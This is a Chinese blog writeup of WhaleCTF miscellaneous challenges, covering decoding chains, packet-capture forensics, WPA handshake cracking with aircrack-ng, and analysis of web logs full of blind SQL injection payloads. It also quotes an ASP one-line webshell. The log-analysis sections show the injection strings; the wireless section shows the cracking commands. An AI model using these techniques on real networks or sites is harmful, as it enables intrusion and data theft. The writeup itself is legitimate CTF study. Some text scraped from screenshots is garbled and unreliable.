whaleCTF 杂项_Writeup

原创

 Pad0y
 于 2019-04-21 16:47:08 发布
 2141
 收藏 4

 分类专栏:
 WhaleCTF 文章标签:
 Whale CTF 杂项 Writeup

 版权声明:
 本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

 本文链接:
 https://blog.csdn.net/qq_34356800/article/details/83895210

版权

WhaleCTF 专栏收录该内容

3 篇文章 0 订阅 订阅专栏 最近比较忙,杂项部分的wp断断续续完善,pwn和re部分的wp需要比较久,持续更新~ 如有错误或者疑问,欢迎各位师傅留言指出~~~

Decode1

整道题的一个思路是 hex->ascii->url->base64->ascii->str 打开文本是一串数字,发现每6个数字都是253开头,试试16进制——>ascii

253444253534253435253335253433253641253435253737253444253531253646253738253444253434253637253442253446253534253 253446253531253646253738253444253434253435253442253444253534253435253332253433253641253435253738253444253531253 253433253641253435253738253444253431253646253738253444253534253633253444225353444253534253331

a = """253444253534253435253335253433253641253435253737253444253531253646253738253444253434253637253442253446253 53425364225344225344425353425343525373825343325364125343525373725344625353125364625373825344425343425343425343425 534442535342534352533322534332536412534352537382534442535312536462537382534442535342536372534422534442535342534 1253738253433253641253435253738253444253431253646253738253444253534253633253442253544253534253435253331"" print(''.join([chr(int(b, 16)) for b in [a[i:i+2] for i in range(0, len(a), 2)]]))

<pre>In [18]: a = """25344425353425343525333525343325364125343525373725344425353125 [04: 253534253435253738253433253641253435253737253446253531253646253738253: 537382534442535312536462537382534442535342536372534422534442535342534 2510: 3534253633253442253444253534253435253331""</pre>	364625373825344425343425 4442534342534352534422534 312537382534332536412534
<pre>In [19]: print(''.join([chr(int(b, 16)) for b in [a[i:i+2] for i in range(0, l %4D%54%45%35%43%6A%45%77%4D%51%6F%78%4D%44%67%4B%4F%54%6B%4B%4D%54%45%78%43%6A 8%4D%54%67%4B%4D%54%41%78%43%6A%45%78%4D%41%6F%78%4D%54%63%4B%4D%54%45%31</pre>	en(a), 2)]])) %45%77%4F%51%6F%78%4D%44%
In [20]:	

url编码,解码得到base64,再解码,得到ascii码,转字符串得到flag

🔊 米斯特安全团队 CTFCrakTools pro v2.0 Beta	— — ×	<
解码方式 进制转换 插件 妹子 其他功能		
填写所需检测的密码: (已输入字符数统计: 216)		
%78%4D%51%6F%78%4D%54%67%4B%4D%54%41%78%43%6A%45%78%	4D%41%6F%78%4D%54%63%4B%4D%54%45%	631
e		
		3
4 结果:	III	
【▲】 結果: MTE5CjEwMQoxMDgKOTkKMTExCjEwOQoxMDEKMTE2CjExMQoxMTgK	III MTAxCjExMAoxMTcKMTE1	
◀ 結果: MTE5CjEwMQoxMDgKOTkKMTExCjEwOQoxMDEKMTE2CjExMQoxMTgK	III IMTAxCjExMAoxMTcKMTE1	
◀ 結果: MTE5CjEwMQoxMDgKOTkKMTExCjEwOQoxMDEKMTE2CjExMQoxMTgK	MTAxCjExMAoxMTcKMTE1	
▲ 結果: MTE5CjEwMQoxMDgKOTkKMTExCjEwOQoxMDEKMTE2CjExMQoxMTgK	III IMTAxCjExMAoxMTcKMTE1	
▲ 結果: MTE5CjEwMQoxMDgKOTkKMTExCjEwOQoxMDEKMTE2CjExMQoxMTgK	III IMTAxCjExMAoxMTcKMTE1	
▲ 结果: MTE5CjEwMQoxMDgKOTkKMTExCjEwOQoxMDEKMTE2CjExMQoxMTgK	₩ MTAxCjExMAoxMTcKMTE1	
▲ 结果: MTE5CjEwMQoxMDgKOTkKMTExCjEwOQoxMDEKMTE2CjExMQoxMTgK	₩ MTAxCjExMAoxMTcKMTE1	
▲ 结果: MTE5CjEwMQoxMDgKOTkKMTExCjEwOQoxMDEKMTE2CjExMQoxMTgK	III IMTAxCjExMAoxMTcKMTE1	
▲ 结果: MTE5CjEwMQoxMDgKOTkKMTExCjEwOQoxMDEKMTE2CjExMQoxMTgK	III IMTAxCjExMAoxMTcKMTE1	
▲ 结果: MTE5CjEwMQoxMDgKOTkKMTExCjEwOQoxMDEKMTE2CjExMQoxMTgK	₩ MTAxCjExMAoxMTcKMTE1	
▲ 结果: MTE5CjEwMQoxMDgKOTkKMTExCjEwOQoxMDEKMTE2CjExMQoxMTgK	III IMTAXCjExMAoxMTcKMTE1	

Decode5

滑键盘系列,按着给的字母在键盘上对应的画得到最后的flag,小写提交错误,换成大写即可

流量分析

导出http对象发现一个压缩包,解压有个情报.doc,打开是空的,丢到winhex,在最后发现flag

5162 cn.bing.com	image/png	5991 bytes sw_mg_l_4c_ly_cn.png
5170 cn.bing.com	image/png	5991 bytes_sw_mg_l_4c_ly_cn.png
5178 cn.bing.com	image/png	5991 bytes sw_mg_l_4c_ly_cn.png
5186 cn.bing.com	image/png	5991 bytes sw_mg_l_4c_ly_cn.png
5195 cn.bing.com	image/png	5991 bytes sw_mg_l_4c_ly_cn.png
5201 cn.bing.com	image/png	5991 bytes sw_mg_l_4c_ly_cn.png
5211 cn.bing.com	image/png	5991 bytes sw_mg_l_4c_ly_cn.png
5220 cn.bing.com	image/png	5991 bytes sw_mg_l_4c_ly_cn.png
5229 cn.bing.com	image/png	5991 bytes sw_mg_l_4c_ly_cn.png
5238 cn.bing.com	image/png	5991 bytes sw_mg_l_4c_ly_cn.png
5245 cn.bing.com	image/png	5991 bytes sw_mg_l_4c_ly_cn.png
5253 cn.bing.com	image/png	5991 bytes sw_mg_l_4c_ly_cn.png
5279 192.168.248.138	text/html	177 bytes 🔪 🦰
5297 192.168.248.138	application/zip	1840 bytes %E6%83%85%E6%8A%A5.zip
<		1701 · · · · · · · · · · · · · · · · · · ·
		Save Save All Close Help

39	00	31	00	34	00	00	00	00	00	00	00	00	00	00	00	9	1	4					
00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00								
00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00								
00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00								
6в	00	65	00	79	00	7в	00	32	00	33	00	61	00	63	00	k	е	У	{	2	3	а	с
36	00	30	00	30	00	61	00	31	00	31	00	65	00	61	00	6	0	ō	a	1	1	е	a
66	00	66	00	63	00	38	00	7D	00	00	00	00	00	00	00	f	f	С	8	}			
00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00								
00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00								
00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00								
00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00								
00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00								

A记录

实验吧的一道题目,丢到aircrack-ng分析,发现有个WPA包,ESSID是0719,下面会用到,爆破之

root(Openi Read	kali:~/Desktop# air ing shipin.cap 16664 packets.	crack-ng shipin.cap	A记录			
#CK-019 #	BSSID	ESSID	Encryption			
1	00:1D:0F:5D:D0:EE	0719	WPA (1 handshake)			
Choosing first network as target.						
Opening shipin.cap Please specify a dictionary (option -w).						

<pre>root@kali:~/Desktop# aircrack-ng shipin.cap -w /usr/share/wordl Opening shipin.cap Read 16664 packets.</pre>	ists/rockyou.txt
# BSSID EACH ESSID XXE Encryption	
1 00:1D:0F:5D:D0:EE 0719 WPA (1 hands	hake)
Choosing first network as target.	
Opening shipin.cap Reading packets, please wait	
Aircrack-ng 1.2	
[00:00:00] 112/7120712 keys tested (1851.24 k/s)	
Time left: 1 hour, 4 minutes, 6 seconds	0.00%
KEY FOUND! [88888888]	
e → 百度快照	
Master Key : B4 30 38 0F 24 7B 57 AC DE B5 3A 7F 2E F 0B 34 02 C3 89 F9 69 D5 B7 35 87 1B FB 4	E 6B 45 C EE 7F
Transient Key : 17 AE 23 D0 69 7C 0D 45 2B 40 F6 7D 06 C 25 F0 B0 48 7A 6C 22 7C E2 73 50 71 46 F 8E 59 01 BE 66 56 DE 1E 58 DD 34 DB BE A	9 C5 6F E 5D 0C 7 2D ED
2C 53 11 7F B2 E5 F0 16 7F 57 F5 6A 04 3	6 F5 71

得到密码后接下来就是解析数据包, airdecap-ng shipin.cap -e 0719 -p 888888888, 会发现多出一个数据包, 用wireshark打开

root@kali:~/Desktop# airdecap-ng shipin.cap -e 0719 -p 888888888 Total number of packets read 16664 Total number of WEP data packets 0 Total number of WPA data packets 27 Number of plaintext data packets 0 Number of decrypted WEP packets 0 Number of decrypted WEP packets 0 Number of decrypted WPA packets 16 root@kali:~/Desktop# ls exp_ub16.04.c Image-ExifTool-11.17 MyDeepin-blue MyDeepin-blue.tar.gz shipin.cap shipin-dec.cap wordpress-root@kali:~/Desktop#

题目提示flag是第一条记录的视频网站,过滤dns协议,getflag!

Time	Source	Destination	Protocol	Length	Info
7 1.070674	58.240.57.33	192.168.1.104	DNS	170	Standard query response 0x0f59 A www.google.com A 173,194.72.99 A 173
9 2.064000	192.168.1.104	58.240.57.33	DNS	76	Standard query 0x63a6 A push.m.youku.com
11 2.536062	192.168.1.104	58.240.57.33	DNS	78	Standard query 0xb810 A asp.cntv.lxdns.com
12 2.536064	192.168.1.104	58.240.57.33	DNS	76	Standard query 0x20eb A api.3g.youku.com
13 2.572948	58.240.57.33	192.168.1.104	DNS	188	Standard query response 0xb810 A asp.cntv.lxdns.com CNAME cctv.video.
14 2.573460	58.240.57.33	192.168.1.104	DNS	118	Standard query response 0x20eb A api.3g.youku.com CNAME zw-n-api-3g.yo

Password

打开看了数据包,是nebula模拟器的数据传输,全是TCP协议直接追踪流,红蓝分别是两端发出的消息,可以看到红方在蓝方提示password后输入了"backdoor...00Rm8.ate", "."一般是非可见字符,可以在下方选择HEX DUMP来显示二进制数据

000000000000000000000000000000000000000					
000000D6 00	0d 0a 50 (61 73 73 77	6f 72 64 3a 20	OPassw ord:	
000000B9	62			b	
00000BA	61			а	
000000BB	63			c	
000000BC	6b			k	
00000BD	64			d	
000000BE	6f			o	
000000BF	6f			o	
00000000	72			r	
000000C1	7 f				
000000C2	7f				
00000C3	7f				
000000C4	30			0	
000000C5	30			0	
0000006	52			R	
000000C7	6d			m	
00000008	38			8	
00000009	7 f				
000000CA	61			а	
000000CB	74			t	×
分组 65. 19 客户端 分	姐,34 服务群分	+#E, 28 turn(s).,#	击迹痒.		
Entire conversati	ion (472 bytes	;)	-	显示和保存数据为 Hex 转储 ▼	流 🛛 🜩
查找:					查找下一个(II)
				滤掉此流 打印 Save a	s Back Close Help

hex 62对应的是ascii b ,7f是del键,0d是回车,因此最终得到的Password应该为backd00Rmate

Decode2

去掉头尾的±,末尾补上==,base64解码得到flag

澳与州高位侧的沿鸭; (口潮八子何级玩り: 03)

AGkAdABpAHMAbABpAGsAZQB2AGUAbgB1AHMAdgBIAHIAeQBtAHUAYwBoAAOAC==

____i_t__i_s__I__i_k_e_v_e_n_u_s_v_e_r_y_m_u_c_h___

Decode3

▲ 结果:

jsfuck解码,丢到控制台运行,%21是!

Decode4

eval(function(p,a,c,k,e,d){e=function(c){return(c <a?"":e(pars< th=""><th>eInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):</th><th>c.toString(36))};if(!''.replace(/^/</th></a?"":e(pars<>	eInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):	c.toString(36))};if(!''.replace(/^/
$ \{ while(c)d[e(c)]=k[c] e(c); k=[function(e) \{ return d[e] \}]; e= 0 \} $	function() {return' \\w+'}; c=1; }; while (c) if (k[c]) p	=p.replace(new RegExp(' \\b' +e(c) +' \
p;} (' 0 (″1″)', 2, 2, ' 616c6572747c636f6f6c796f75676574746865666c6	616c6572747c636f6f6c796f75676574746865666c6167(*1*)	
	确定	
253 • • • 高完全部(A) 区分大小写(C) 匹配词句(W)	第 61 项 , 共找到 72 个匹配项	
□ □ □ 直看器 □ 拉制台 □ 调试器 ④ 性能 心 内存 三 网络 8 存	字储 🕆 无障碍环境 🕑 HackBar	
● ▼ 过滤输出		
<pre>>>> alert(function(p,a,c,k,e,d){e=function(c){return(c<a?**:e(parseint(c a)))+((c<br="">d[e]}];e=function(){return'\\w+'};c=1;};while(c)if(k[c])p=p.replace(new Region)</a?**:e(parseint(c></pre>	=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(, Exp(`\\b'+e(c)+`\\b','g`),k[c]);return p;}('0("1")',2,2,°616c657274;	٬٬٫ᡪᢩtring)){while(c)d[e(c)]=k[c] e(c);k=[fu ⁊c636f6f6c796f7507b5747468b5666c61670;split(" ۱

In [14]:	<pre>''.join([chr(int(b,16)) for b</pre>	in	[a[i:i+
Out[14]:	'alert coolyougettheflag'		

WTF?

base64解码得到65536个二进制(65536=256²),在notepad++上缩小字体大概可以看到一个二维码的轮廓,一种姿势是每256个字符换行,另一种办法是直接画图,得到一张二维码,getflag!

```
# -*- coding: UTF-8 -*-
# _Author__:pad0y
from PIL import Image
MAX = 256
with open('flag.txt', 'r') as f:
    c = f.read()
    newIm = Image.new('RGB', (MAX, MAX))
    white = (255, 255, 255)
    black = (0, 0, 0)
    for x in range(0, MAX):
        for y in range(0, MAX):
            if c[MAX*x+y] == '1':
                newIm.putpixel((x, y), black)
            else:
                newIm.putpixel((x, y), white)
    newIm.save('flag.png')
```

Decode8

	aZZg/x\ZbavpZiEZp+n)o+	//±/python i
	b[[h0y][cbwq[jF[q,o*p,	
1	c\\ilz~\dcxr\kG\r-p+q-	
	d]]j2{_]edys]1H]s.q,r.	
	e^^k3 `^fezt^mI^t/r-s/	
Į	f14/a_gf {u_nJ_u0s.t0	
	g mb b hg v oK vlt/ul	
	YRR_´pTRZYnhRa=Rh#f!g#	
	ZSS`(qUS[ZoiSb>Si\$g"h\$	
	[TTa)rVT\[pjTc?Tj%h#i%	
	\UUb∗s₩U]\qkUd@Uk&i\$j&	
]VVc+tXV^]r1VeAV1'j%k'	
	WWd,uYW ^smWfBWm(k&1(
	_XXe-vZX _tnXgCXn)1'm)	
	YYf.w[Ya`uoYhDYo*m(n*	Pad0y Blog

栅栏解密下,也没看到正确格式的flag 参照wp:https://www.cnblogs.com/zqh20145320/p/5710072.html 把恺撒后的字符串竖排可以得到flag字样

f___ |4} a_ gf {u __n J_ u0 s. t0 flag{_Just_4_fun_0.0_}

Decode9

控制台运行得到: ┼攠數畣整爠煥敵瑳∨?湥獵瑃≦┥

把上面这串复制到记事本,另存为,编码选上"Unicode",关闭。用WinHex等可以查看16进制的软件,直接打开,一目了然。如果想显示正常,把开头的FF FE两个字节删了,再用记事本打开就看到了。木马为 <% execute request("? enusCtf")%

我的USB

binwalk,tshark各种分析无果,上strings大法(真的有点坑)

strings for1.pcapng | grep Pwn

```
root@kali:~/Desktop/UsbMiceDataHacker# strings for1.pcapng | grep Pwn
Pwnium{408158c115a82175de37e8b3299d1f93}
root@kali:~/Desktop/UsbMiceDataHacker#
```

我下载了什么

485454502f312e3120323030204f4b0d0a4461 365727665723a204170616368652f322e322e3 0d0a566172793a204163636570742d456e636f f6e3a20636c6f73650d0a436f6e74656e742d5 2d3e7c1f8b080032850c540003edcfbd0ac230 e6739c37786f35db40dfabe0ff6b53eccddd57 6d9a8fcf7fbbffa9bc58ddb2b23a699595a26d 00000006f0fffbfb23d002800007c3c2d	74653a2053756e2c2030372053657020323031342031363a33343a323320474d540d0a5 135202843656e744f53290d0a582d506f77657265642d42793a205048502f352e332e33 64696e670d0a436f6e74656e742d4c656e6774683a203138300d0a436f6e6e656374696 47970653a20746578742f68746d6c3b20636861727365743d5554462d380d0a0d0a 1885e1ce5e45afc026fd73960e5270ebe018a2445b2cb6a4d10ae2bd5b05970e3a1511d 9131083348e5f3918a71049eac930166194c84534f464f8acfb628a3163e7ce69ebfb9e 8d5579a796aaa8abdd51ad2be76aa33666db9546cafbecd76b010000000000000000000
分類 36.0 客户端 分類、1 服务器 分類、0 turn(s).点击透発。 192 168 1 10:80 → 192 168 1 2:1221 (396 butter) ▼	見一和保方物提为 「百始救援」▼
查找: 1f8b	

添加 提取 测试 复制 移动 删除 信息

 D:\Users\Pamper\Desktop\1.tar\1.tar\var\www\
 名称
 flag.txt
 flag.txt

日志记录

文件下载下来发现是个rar文件,改后缀,大概看了下是sqlmap注入日志,在notepad++搜索flag,可以发现flag出现很频繁,猜测 是个表名。

<pre>Estag%20AS%20CHAR%29%2C0x20%29%20FROM%20misc.flag%20ORDER%20BY%20flag%20LIMIT% sqlmap.org)" "-"</pre>
<pre>!8flag%20AS%20CHAR%29%2C0x20%29%20FROM%20misc.flag%200RDER%20BY%20flag%20LIMIT% <u>sqlmap.org)</u>" "-"</pre>
<pre>8flag%20AS%20CHAR%29%2C0x20%29%20FROM%20misc.flag%200RDER%20BY%20flag%20LIMIT% sqlmap.org)" "-"</pre>
<pre>?8flag%20AS%20CHAR%29%2C0x20%29%20FROM%20misc.flag%200RDER%20BY%20flag%20LIMIT% sqlmap.org)" "-"</pre>
<pre>?8flag%20AS%20CHAR%29%2C0x20%29%20FROM%20misc.flag%200RDER%20BY%20flag%20LIMIT% ://sqlmap.org)" "-"</pre>
<pre>8flag%20AS%20CHAR%29%2C0x20%29%20FROM%20misc.flag%200RDER%20BY%20flag%20LIMIT% <u>{lmap.org)</u>" "-"</pre>
<pre>8flag%20AS%20CHAR%29%2C0x20%29%20FROM%20misc.flag%200RDER%20BY%20flag%20LIMIT% plmap.org)" "-"</pre>
<pre>8flag%20AS%20CHAR%29%2C0x20%29%20FROM%20misc.flag%200RDER%20BY%20flag%20LIMIT% sqlmap.org)" "-"</pre>
<pre>Bflag%20AS%20CHAR%29%2C0x20%29%20FROM%20misc.flag%200RDER%20BY%20flag%20LIMIT% sqlmap.org)" "-"</pre>
<pre>8flag%20AS%20CHAR%29%2C0x20%29%20FROM%20misc.flag%200RDER%20BY%20flag%20LIMIT% sqlmap.org)" "-"</pre>
<pre>8flag%20AS%20CHAR%29%2C0x20%29%20FROM%20misc.flag%200RDER%20BY%20flag%20LIMIT% sqlmap.org)" "-"</pre>
<pre>8flag%20AS%20CHAR%29%2C0x20%29%20FROM%20misc.flag%200RDER%20BY%20flag%20LIMIT% sqlmap.org)" "-"</pre>
8flag%20AS%20CHAR%29%2C0x20%29%20FROM%20misc.flag%20ORDER%20BY%20flag%20LIMIT%

一般日志分析的思路就是一步步缩小分析的范围,可以用grep匹配内容分离出来。



把分离出来的日志丢到notepad++,都是url编码,notepad++有个插件可以全部解码

(<u>R</u>)	插件(P) 1	窗口(W)	2					
ļ	Conv	erter	>	p D] 🕪 🔤 🌺			
	DSpe	ellCheck	>					
v (<u>)</u>	MIM	E Tools	>		Base64 Encode	F	_	
nisc	/index.ph	np?id=1	AND 75		Base64 Encode with Unix EOL	ag	AS	CHAR),0
ev nisc	/index.ph	np?id=1	AND 75		Base64 Decode	ag	AS	CHAR),0
v (<u>r</u> nisc	z/index.pl	np?id=1	AND 75		Quoted-printable Encode	ag	AS	CHAR),0
v (<u>r</u> niso	nttp://sq. c/index.pl	<u>lmap.or</u> d np?id=1	AND 75		Quoted-printable Decode	ag	AS	CHAR),0
v (<u>k</u> nisc	http://sqi c/index.ph	<u>lmap.or</u> d np?id=1	1)""-" AND 75		URL Encode	ag	AS	CHAR),0
v (<u>)</u>	http://sql	lmap.ord	1)" "-"		Full URL Encode		AC	CHAD) (
v (<u>}</u>	http://sql	lmap.or	<u>a)</u> " "-"		URL Decode	٢°	AU	CHAR/, C
niso v (<u>P</u>	:/index.pl http://sql	np?id=1 Lmap.ord	AND 75 1)""-"		SAML Decode	ag	AS	CHAR),0
nisc v (h	/index.pl http://sql	np?id=1 Lmap.ord	AND 75 7)""-"		About	ag	AS	CHAR),0
nisc	/index.ph	np?id=1	AND 75	00=1	E((OKD(WID)(SEPECI IENOPP(CH21(II	ag	AS	CHAR),0

分析发现是二分法盲注的ASCII码爆破,通常当找到!=的时候就是正确的ASCII值,再次缩小分析分范围,把含有'!='的日志 分离出来



分析文件log3需要对!=后边的ASCII提取并且转换成字符,编写py脚本,对文件log3进行处理

[n	[3]:	with open('log3') as f:
		S = ''
		<pre>for i in f.readlines():</pre>
		<pre>begin = i.index('))!=')</pre>
		end = i.index('),', begin)
		<pre>s += (chr(int(i[begin+4:end])))</pre>
ĺη	[4]:	S
Dut	:[4]:	'1ROIS{m [:] /Sis_nG1nx_Sim}\x05'

注入过程

仍然是一道注入流量分析,先对整个文件进行url解码,如果仔细分析是可以知道这是Errorbase的二分盲注,知道这个注入方式 基本就可以拿到flag。

LOUFDALA.GDU.NEWS),1,1)/240 0U - 192.100.1.1UI MOZIIIA/3.U+(WINGOWS;+U;+WINGOWS+NL+0.U;+EN-US;+TV:1.9.1D4)+GECKU/ZUU9U423+IIFEIOX/3.3D4+GLD3+(.NEU+CIF+3.3.3U/2 2015-10-21 09:32:35 w3svc1 192.168.1.135 get /show.asp id=2 and unicode(substring((select isnull(cast(ltrim(str(count(*))) as nvarchar(4000)), char(32)) from tourdata.dbo.news),1,1))>49|18|800a0bcd|bof_或_eof_中有一个是"真",或者当前的记录己被删除,所需的操作要求一个当前的记录。 80 - 192.168.1.101 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rv:1.9.1b4)+gecko/20090423+firefox/3.5b4+gtb5+(.net+clr+3.5.30729) 500 0 0 2015-10-21 09:32:35 w3svc1 192.168.1.135 get /show.asp id=2 and unicode(substring((select isnull(cast(ltrim(str(count(*))) as nvarchar(4000)), char(32)) from tourdata.dbo.news),2,1))>51|18|800a0bcd|bof_或_eof_中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。 80 - 192.168.1.101 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rv:1.9.1b4)+gecko/20090423+firefox/3.5b4+gtb5+(.net+clr+3.5.30729) 500 0 0 2015-10-21 09:32:35 w3svc1 192.168.1.135 get /show.asp id=2 and unicode(substring((select isnull(cast(ltrim(str(count(*))) as nvarchar(4000)), char(32)) from tourdata.dbo.news),2,1))>48|18|800a0bcd|bof_或_eof_中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。 80 - 192.168.1.101 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rv:1.9.1b4)+gecko/20090423+firefox/3.5b4+gtb5+(.net+clr+3.5.30729) 500 0 0 2015-10-21 09:32:35 w3svc1 192.168.1.135 get /show.asp id=2 and unicode(substring((select isnull(cast(ltrim(str(count(*))) as nvarchar(4000)),char(32)) from tourdata.dbo.news),2,1))>1|18|800a0bcd|bof_或_eof_中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。 80 - 192.168.1.101 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rv:1.9.1b4)+gecko/20090423+firefox/3.5b4+gtb5+(.net+clr+3.5.30729) 500 0 0 2015-10-21 09:32:35 w3svc1 192.168.1.135 get /show.asp id=2 and unicode(substring((select isnull(cast(ltrim(str(count(distinct(theflag)))) as nvarchar(4000)), c tourdata.dbo.news),1,1))>51|18|800a0bcd|bof_或_eof_中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。 80 - 192.168.1.101 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rr:1.9.1b4)+gecko/20090423+firefox/3.5b4+gtb5+(.net+clr+3.5.30729) 500 0 0 2015-10-21 09:32:35 w3svcl 192.168.1.135 get /show.asp id=2 and unicode(substring((select isnull(cast(ltrim(str(count(distinct(theflag)))) as nvarchar(4000)), c tourdata.dbo.news),1,1))>48 80 - 192.168.1.101 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rv:1.9.1b4)+gecko/20090423+firefox/3.5b4+gtb5+(.net+clr+3.5.3072 2015-10-21 09:32:35 w3svc1 192.168.1.135 get /show.asp id=2 and unicode(substring((select isnull(cast(ltrim(str(count(distinct(theflag)))) as nvarchar(4000)), c tourdata.dbo.news),1,1))>49|18|800a0bcd|bof_或_eof_中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。 80 - 192.168.1.101 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rv:1.9.1b4)+gecko/20090423+firefox/3.5b4+gtb5+(.net+clr+3.5.30729) 500 0 0 2015-10-21 09:32:35 w3svc1 192.168.1.135 get /show.asp id=2 and unicode(substring((select isnull(cast(ltrim(str(count(distinct(theflag)))) as nvarchar(4000)),c tourdata.dbo.news),2,1))>51|18|800a0bcd|bof_或_eof_中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。 80 - 192.168.1.101 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rv:1.9.1b4)+gecko/20090423+firefox/3.5b4+gtb5+(.net+clr+3.5.30729) 500 0 0 2015-10-21 09:32:35 w3svc1 192.168.1.135 get /show.asp id=2 and unicode(substring((select isnull(cast(ltrim(str(count(distinct(theflag)))) as nvarchar(4000)),c tourdata.dbo.news),2,1))>48|18|800a0bcd|bof_或_eof_中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。 80 - 192.168.1.101 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rv:1.9.1b4)+gecko/20090423+firefox/3.5b4+gtb5+(.net+clr+3.5.30729) 500 0 0 2015-10-21 09:32:35 w3svc1 192.168.1.135 get /show.asp id=2 and unicode(substring((select isnull(cast(ltrim(str(count(distinct(theflag)))) as nvarchar(4000)), c tourdata.dbo.news),2,1))>1|18|800a0bcd|bof_或_eof_中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。 80 - 192.168.1.101 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rv:1.9.1b4)+qecko/20090423+firefox/3.5b4+qtb5+(.net+clr+3.5.30729) 500 0 0

在日志中搜索flag字样,很明显攻击者从theflag表中dump出了数据。

- 9 2015-10-21 09:32:35 w3svc1 192.168.1.135 get /show.asp id=2 and unicode(substring((select isnull(cast(ltrim(str(count(distinct(theflag)))) as nvarchar(4000)), char(32)) from tourdata.dbo.news), 1, 1))>51|18|800a0bcd|bof_或_eof_中有一个是"真", 或者当前的记录已被删除,所需的操作要求一个当前的记录。 80 192.168.1.101 mozilla/5.0+(windows;+u;+windows;+windows
- 2015-10-21 09:32:35 w3svc1 192.168.1.135 get /show.asp id=2 and unicode (substring((select isnull(cast(ltrim(str(count(distinct(theflag)))) as nvarchar(4000)), char(32)) from tourdata.dbo.news),1,1))>48 80 192.168.1.101 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rv:1.9.1b4)+gecko/20090423+firefox/3.5b4+gtb5+(.net+clr+3.5.30729) 200 0 0 2015-10-21 09:32:35 w3svc1 192.168.1.135 get /show.asp id=2 and unicode (substring((select isnull(cast(ltrim(str(count(distinct(theflag)))) as nvarchar(4000)), char(32)) from tourdata.dbo.news),1,1))>49|18|800a0bcd|bof_或_eof_中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。 80 - 192.168.1.101 mozilla/5.0+(windows;+u;+windows;+windows;
- 2015-10-21 09:32:35 w3svc1 192.168.1.135 get /show.asp id=2 and unicode(substring((select isnull(cast(ltrim(str(count(distinct(theflag)))) as nvarchar(4000)), char(32)) from tourdata.dbo.news), 2, 1))>51|18|800a0bcd|bof_或_eof_中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。80 192.168.1.101
- tourdata.dbo.news),2,1))>S1[18[800a0bcd]bof_或_eof_中有一个是"真",或者当前的记录已被删除,所籍的操作要求一个当前的记录。 80 192.168.1.101 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rv:1.9.1b4)+gecko/20090423+firefox/3.5b4+gtb5+(.net+clr:3.5.30729) 500 0 0 2015-10-21 09:32:35 w3svcl 192.168.1.135 get /show.asp id=2 and unicode (substring((select isnull(cast(ltrim(str(count(distinct(theflag)))) as nvarchar(4000)), char(32)) from tourdata.dbo.news),2,1))>40118[800a0bcd]bof_或_eof_中有一个是"真",或者当前的记录已被删除,所籍的操作要求一个当前的记录。 80 192.168.1.101 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rv:1.9.1b4)+gecko/20090423+firefox/3.5b4+gtb5+(.net+clr:3.5.30729) 500 0 0 2015-10-21 09:32:35 w3svcl 192.168.1.135 get /show.asp id=2 and unicode (substring((select isnull(cast(ltrim(str(count(distinct(theflag))))) as nvarchar(4000)), char(32)) from tourdata.dbo.news),2,1))>1|18[800a0bcd]bof_或_eof_中有一个是"真",或者当前的记录已被删除,所籍的操作要求一个当前的记录。 80 192.168.1.101 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rv:1.9.1b4)+gecko/20090423+firefox/3.5b4+gtb5+(.net+clr:3.5.30729) 500 0 0 2015-10-21 09:32:53 v3svcl 192.168.1.135 get /show.asp id=2 and unicode (substring((select isnull(cast(ltrim(str(count(distinct(theflag))))) as nvarchar(4000)), char(32)) from tourdata.dbo.news),2,1))>1|18[800a0bcd]bof_或_eof_中有一个是"真",或者当前的记录已被删除,所籍的操作要求一个当前的记录。 80 192.168.1.101 mozilla/5.0+(windows;+u;+windows+nt+6.0;+en-us;+rv:1.9.1b4)+gecko/20090423+firefox/3.5b4+gtb5+(.net+clr:4.5.30729) 500 0 0 2015-10-21 09:32:53 v3wcl 192.168.1.102 for 1,500+ gent provide and windows for the provide and wind
- 2015-10-21 09:32:35 w3svc1 192.168.1.135 get /show.asp id=2 and unicode(substring((select min(isnull(cast(theflag as nvarchar(4000)), char(32))) from tourdata.dbo.news where convert(nvarchar(4000), theflag)>char(32)),1,1)>64|18|800a0bcd|bof_或_eof_中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。 80 192.168.1.101 mozilla/5.0+(windows;+u;+windows;+win
- 2015-10-21 09:32:35 w3svcl 192.168.1.135 get /show.asp id=2 and unicode (substring ((select min(isnull(cast(theflag as nvarchar(4000)), char(32))) from tourdata.dbo.news where convert (nvarchar(4000), theflag)>char(32)),1,1)>32 80 192.168.1.101
